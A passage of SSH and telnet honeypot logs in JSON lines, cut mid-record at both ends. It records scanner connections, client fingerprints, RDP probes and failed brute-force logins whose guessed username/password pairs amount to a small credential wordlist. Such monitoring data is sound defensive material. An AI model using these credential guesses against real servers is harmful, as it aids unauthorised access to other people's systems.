256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:51:41.759496Z","src_ip":"69.6.234.27","session":"adf1ef97a50b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pzuser","password":"pzuser","message":"login attempt [pzuser/pzuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:51:42.081713Z","src_ip":"69.6.234.27","session":"adf1ef97a50b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:51:43.159394Z","src_ip":"69.6.234.27","session":"adf1ef97a50b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":52570,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a7d037aec8d","protocol":"ssh","message":"New connection: 80.66.85.226:52570 (159.203.135.109:22) [session: 8a7d037aec8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:04.322985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:04.327242Z","src_ip":"80.66.85.226","session":"8a7d037aec8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:04.423483Z","src_ip":"80.66.85.226","session":"8a7d037aec8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqwwweee","message":"login attempt [root/qqqwwweee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:04.704854Z","src_ip":"80.66.85.226","session":"8a7d037aec8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:05.802277Z","src_ip":"80.66.85.226","session":"8a7d037aec8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.23.69.25","src_port":46780,"dst_ip":"10.17.0.5","dst_port":23,"session":"57f35103fdf3","protocol":"telnet","message":"New connection: 185.23.69.25:46780 (10.17.0.5:23) [session: 57f35103fdf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:13.345180Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45454,"dst_ip":"10.17.0.5","dst_port":23,"session":"90f4e10f5697","protocol":"telnet","message":"New connection: 192.119.13.58:45454 (10.17.0.5:23) [session: 90f4e10f5697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:14.695595Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":44222,"dst_ip":"159.203.135.109","dst_port":22,"session":"86ce9d161786","protocol":"ssh","message":"New connection: 43.156.2.226:44222 (159.203.135.109:22) [session: 86ce9d161786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:21.102387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:21.107145Z","src_ip":"43.156.2.226","session":"86ce9d161786","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:21.344540Z","src_ip":"43.156.2.226","session":"86ce9d161786","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yh@123456","message":"login attempt [root/Yh@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:22.327801Z","src_ip":"43.156.2.226","session":"86ce9d161786","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:23.568549Z","src_ip":"43.156.2.226","session":"86ce9d161786","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":64631,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b04ee0e37c1","protocol":"ssh","message":"New connection: 167.172.81.52:64631 (10.17.0.5:22) [session: 1b04ee0e37c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:34.667508Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:34.672511Z","src_ip":"167.172.81.52","session":"1b04ee0e37c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:34.676044Z","src_ip":"167.172.81.52","session":"1b04ee0e37c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":38896,"dst_ip":"159.203.135.109","dst_port":23,"session":"d303dab58b02","protocol":"telnet","message":"New connection: 186.195.16.41:38896 (159.203.135.109:23) [session: d303dab58b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:37.180615Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":65152,"dst_ip":"10.17.0.5","dst_port":22,"session":"65bd7a2a94bc","protocol":"ssh","message":"New connection: 152.42.212.128:65152 (10.17.0.5:22) [session: 65bd7a2a94bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:48.194550Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:48.203173Z","src_ip":"152.42.212.128","session":"65bd7a2a94bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:48.206791Z","src_ip":"152.42.212.128","session":"65bd7a2a94bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.25070881843567,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:51.946180Z","src_ip":"192.119.13.58","session":"90f4e10f5697","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":55452,"dst_ip":"159.203.135.109","dst_port":22,"session":"f59739f273cf","protocol":"ssh","message":"New connection: 62.133.63.178:55452 (159.203.135.109:22) [session: f59739f273cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:53.811555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:53.816633Z","src_ip":"62.133.63.178","session":"f59739f273cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:53.937040Z","src_ip":"62.133.63.178","session":"f59739f273cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty2","message":"login attempt [root/qwerty2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:54.300329Z","src_ip":"62.133.63.178","session":"f59739f273cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:55.423657Z","src_ip":"62.133.63.178","session":"f59739f273cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":37506,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7f0eada5d46","protocol":"ssh","message":"New connection: 69.6.234.27:37506 (159.203.135.109:22) [session: c7f0eada5d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:56.827096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:56.831833Z","src_ip":"69.6.234.27","session":"c7f0eada5d46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:56.909216Z","src_ip":"69.6.234.27","session":"c7f0eada5d46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zaq!2wsxcde3","message":"login attempt [root/Zaq!2wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:57.234883Z","src_ip":"69.6.234.27","session":"c7f0eada5d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:52:58.311187Z","src_ip":"69.6.234.27","session":"c7f0eada5d46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43990,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e98c8d18306","protocol":"telnet","message":"New connection: 192.119.13.58:43990 (10.17.0.5:23) [session: 6e98c8d18306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:53:24.442403Z"}
{"eventid":"cowrie.session.closed","duration":75.76134133338928,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:53:29.106397Z","src_ip":"185.23.69.25","session":"57f35103fdf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":55702,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc2395979bfd","protocol":"ssh","message":"New connection: 43.156.2.226:55702 (159.203.135.109:22) [session: cc2395979bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:53:35.799677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:53:35.803983Z","src_ip":"43.156.2.226","session":"cc2395979bfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:53:36.041392Z","src_ip":"43.156.2.226","session":"cc2395979bfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"Claude2026!","message":"login attempt [claude/Claude2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:53:37.026406Z","src_ip":"43.156.2.226","session":"cc2395979bfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:53:38.268053Z","src_ip":"43.156.2.226","session":"cc2395979bfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44278,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e74f452ed37","protocol":"ssh","message":"New connection: 80.94.92.184:44278 (159.203.135.109:22) [session: 5e74f452ed37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:07.230445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:07.329438Z","src_ip":"80.94.92.184","session":"5e74f452ed37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:07.503700Z","src_ip":"80.94.92.184","session":"5e74f452ed37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123@","message":"login attempt [solana/123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:09.317563Z","src_ip":"80.94.92.184","session":"5e74f452ed37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:10.537187Z","src_ip":"80.94.92.184","session":"5e74f452ed37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.22160243988037,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:10.663891Z","src_ip":"192.119.13.58","session":"6e98c8d18306","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":40518,"dst_ip":"159.203.135.109","dst_port":22,"session":"362ac8d3bb0f","protocol":"ssh","message":"New connection: 69.6.234.27:40518 (159.203.135.109:22) [session: 362ac8d3bb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:12.968282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:12.973180Z","src_ip":"69.6.234.27","session":"362ac8d3bb0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"S